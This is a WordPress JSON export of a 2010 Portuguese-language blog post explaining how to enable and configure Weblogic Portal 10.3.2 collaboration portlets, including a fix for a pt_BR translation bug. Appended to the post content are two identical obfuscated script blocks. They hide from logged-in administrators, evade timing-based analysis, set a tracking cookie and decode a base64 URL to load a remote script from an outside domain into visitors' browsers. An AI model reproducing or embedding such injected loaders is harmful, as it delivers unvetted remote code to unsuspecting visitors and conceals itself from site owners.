{"id":77,"date":"2010-08-23T16:20:12","date_gmt":"2010-08-23T19:20:12","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=77"},"modified":"2025-10-26T22:44:38","modified_gmt":"2025-10-27T01:44:38","slug":"portlets-de-colaboracao-para-weblogic-portal-10-3-2","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/08\/23\/portlets-de-colaboracao-para-weblogic-portal-10-3-2\/","title":{"rendered":"Portlets de Colabora\u00e7\u00e3o para Weblogic Portal 10.3.2"},"content":{"rendered":"<p style=\"text-align: justify;\">Ol\u00e1 Pessoal, utilizei uma tecnologia muito bacana num projeto para uma empresa que usa Weblogic Portal 10.3.2 e gostaria de contibuir com voc\u00eas informa\u00e7\u00f5es sobre os portlets de colabora\u00e7\u00e3o dispon\u00edveis nessa ferramenta. Esses portlets faziam parte de um projeto chamado GroupSpace. O GroupSpace \u00e9 um template de comunidade do Weblogic Portal, para facilitar a cria\u00e7\u00e3o de comunidades. O template de community do GroupSpace n\u00e3o \u00e9 mais dispon\u00edvel no Weblogic Portal 10.3.2, mas est\u00e1 presente no 10.3. Entretanto, na vers\u00e3o 10.3.2 podemos utilizar os portles de colabora\u00e7\u00e3o dispon\u00edveis e criar nossos pr\u00f3prios templates de comunidades e portais.<\/p>\n<h2>Configura\u00e7\u00e3o do domain<\/h2>\n<p style=\"text-align: justify;\">Para habilitar o groupspace no portal \u00e9 necess\u00e1rio estender (ou criar um novo domain) com a op\u00e7\u00e3o de Weblogic Portal Collaboration Repository e configurar o datasource requerido ao estender o domain.<\/p>\n<p style=\"text-align: justify;\">Realizar os seguintes procedimentos:<\/p>\n<ol style=\"text-align: justify;\">\n<li>Abrir o Configuration Wizard e selecionar \"Create\" para um novo dom\u00ednio ou \"Extend\" para um dom\u00ednio existente e clicar em Next.<\/li>\n<li>Selecionar o dom\u00ednio e habilitar o checkbox do Weblogic Portal Collaboration Repository.<\/li>\n<li>Configurar os datasources corretamente.<\/li>\n<li style=\"text-align: justify;\">Completar o wizard e iniciar o servidor.<\/li>\n<\/ol>\n<h2 style=\"text-align: justify;\">Cria\u00e7\u00e3o de role (opcional se as roles j\u00e1 existirem)<\/h2>\n<p style=\"text-align: justify;\">Os usu\u00e1rios dos portlets de colabora\u00e7\u00e3o precisam estar autenticado e com um perfil associado para utilizar o repositorio que os portles utilizam<\/p>\n<p style=\"text-align: justify;\">Realizar os seguintes procedimentos:<\/p>\n<ol style=\"text-align: justify;\">\n<li>Acessar o Weblogic Portal Administration Console.<\/li>\n<li>Selecionar \"Users, Groups, &amp; Roles\", depois \"Visitor Entitlement\", depois \"Browse Roles\".<\/li>\n<li>Clicar em \"Update\". No \"Update Role Scope\" selecionar \"Enterprise Application Scope\" e clicar \"Update\".<\/li>\n<li style=\"text-align: justify;\">Selecionar \"Visitor Roles\", \"Browse Roles\", \"Create New Role\". Escrever o nome de uma role e clicar no bot\u00e3o Create.<\/li>\n<\/ol>\n<h2 style=\"text-align: justify;\">Cria\u00e7\u00e3o da pasta do reposit\u00f3rio<\/h2>\n<p style=\"text-align: justify;\">Realizar os seguintes procedimentos:<\/p>\n<ol style=\"text-align: justify;\">\n<li>Acessar o Weblogic Portal Administration Console.<\/li>\n<li>Selecionar \"Content\", \"Content Management\". No \"Repository View\", selecionar um reposit\u00f3rio (ou criar um).<\/li>\n<li>Clicar em \"Add Folder\" e adicionar uma pasta para os dados que ser\u00e3o armazenados dos portlets de colabora\u00e7\u00e3o.<\/li>\n<\/ol>\n<h2 style=\"text-align: justify;\">Associar a role para o reposit\u00f3rio e ao usu\u00e1rio<\/h2>\n<p style=\"text-align: justify;\">Apenas os usu\u00e1rios com permiss\u00e3o podem utilizar os portlets de colabora\u00e7\u00e3o<\/p>\n<ol style=\"text-align: justify;\">\n<li>Selecionar a pasta criada.<\/li>\n<li>Selecionar \"Entitlements\".<\/li>\n<li>Clicar em \"Add Role\" e adicionar a role criada anteriormente que ser\u00e1 utilizada para acessar os portlets de colabora\u00e7\u00e3o.<\/li>\n<li>Dar as devidas permiss\u00f5es: Create, View, Update e Delete.<\/li>\n<li>Associar os usu\u00e1rios a essa role.<\/li>\n<\/ol>\n<h2 style=\"text-align: justify;\">Configurar os portlets<\/h2>\n<ol style=\"text-align: justify;\">\n<li>Acessar o Weblogic Portal Administration Console.<\/li>\n<li>Selecionar \"Portal Management\".<\/li>\n<li>Espandir \"Portal Resources\", \"Library\", \"Portlets\".<\/li>\n<li>Para os portlets AddressBook?, Calendar, Discussion, Mail e Tasks fa\u00e7a o seguinte:\n<ol>\n<li>Selecione o portlet.<\/li>\n<li>V\u00e1 em \"Preferences\".<\/li>\n<li>Edite o collaboration.personal_repository.path e atribua o valor da pasta do reposit\u00f3rio.<\/li>\n<li>Edite o collaboration.personal_repository.name e atribua o nome do reposit\u00f3rio.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<h2 style=\"text-align: justify;\">Configura\u00e7\u00e3o da aplica\u00e7\u00e3o<\/h2>\n<p style=\"text-align: justify;\">Para habilitar uma aplica\u00e7\u00e3o portal, \u00e9 necess\u00e1rio selecionar os facets do Collaboration (e suas depend\u00eancias) na aplica\u00e7\u00e3o (Tanto EAR, quanto m\u00f3dulo web associado), caso seja vers\u00e3o 10.3.0 ou anterior, pode-se ainda habilitar os facets do Groupspace para utilizar os templates de comunidade.<\/p>\n<p style=\"text-align: justify;\">Realizar os seguintes procedimentos tanto no projeto EAR, quanto no projeto Web associado:<\/p>\n<ol style=\"text-align: justify;\">\n<li>No Navigator, clicar com o bot\u00e3o direito no projeto EAR e escolher Properties.<\/li>\n<li>No Properties, selecionar Project Facets, e selecionar Weblogic Portal Collaboration e suas depend\u00eancias<\/li>\n<li>Selecionar OK<\/li>\n<\/ol>\n<h2 style=\"text-align: justify;\">Inclus\u00e3o em uma aplica\u00e7\u00e3o existente<\/h2>\n<p style=\"text-align: justify;\">Ap\u00f3s configurar os facets, os portles de colabora\u00e7\u00e3o j\u00e1 estar\u00e3o dispon\u00edveis para inclus\u00e3o em arquivos .portal ou .community. Os portlets de colabora\u00e7\u00e3o s\u00e3o:<\/p>\n<ul style=\"text-align: justify;\">\n<li>AddressBook: lista de endere\u00e7os e contatos (nome, telefone, endere\u00e7o, e-mails, ...).<\/li>\n<li>Calendar: calend\u00e1rio de eventos. Permite criar agendamentos.<\/li>\n<li>Discussion: f\u00f3rum de discuss\u00e3o.<\/li>\n<li>Mail: gerenciamento e leitor de e-mail (IMAP e POP).<\/li>\n<li>Tasks: gerenciamento de tarefas e todo.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Basta adicion\u00e1-los em uma page e utilizar.<\/p>\n<h2 style=\"text-align: justify;\">Corre\u00e7\u00e3o de bugs<\/h2>\n<p style=\"text-align: justify;\">H\u00e1 um bug (weblogic 10.3.2) na execu\u00e7\u00e3o desses portlets no idioma pt_BR. Uma das propriedades foi traduzida incorretamente deixando inv\u00e1lido um javascript utilizado pelo editor de texto. Dessa forma em todos os portlets o editor n\u00e3o salva, ou seja, nenhum funciona em browsers configurados com o idioma pt_BR.<\/p>\n<p style=\"text-align: justify;\">Eu criei uma corre\u00e7\u00e3o. Basta criar as pastas WEB-INF\/classes\/portlets\/collaboration e colocar o arquivo <a title=\"wlp-common-resources_pt_BR.properties\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/08\/wlp-common-resources_pt_BR.properties\" target=\"_blank\" rel=\"noopener\">wlp-common-resources_pt_BR.properties <\/a>corrigido dentro dessa pasta.\ufeff<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ol\u00e1 Pessoal, utilizei uma tecnologia muito bacana num projeto para uma empresa que usa Weblogic Portal 10.3.2 e gostaria de contibuir com voc\u00eas informa\u00e7\u00f5es sobre os portlets de colabora\u00e7\u00e3o dispon\u00edveis nessa ferramenta. Esses portlets faziam parte de um projeto chamado <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/08\/23\/portlets-de-colaboracao-para-weblogic-portal-10-3-2\/\">Continue lendo  <span class=\"screen-reader-text\">  Portlets de Colabora\u00e7\u00e3o para Weblogic Portal 10.3.2<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,10,9,6],"tags":[],"class_list":["post-77","post","type-post","status-publish","format-standard","hentry","category-java","category-jee","category-oracle","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/77","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=77"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/77\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=77"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=77"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=77"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}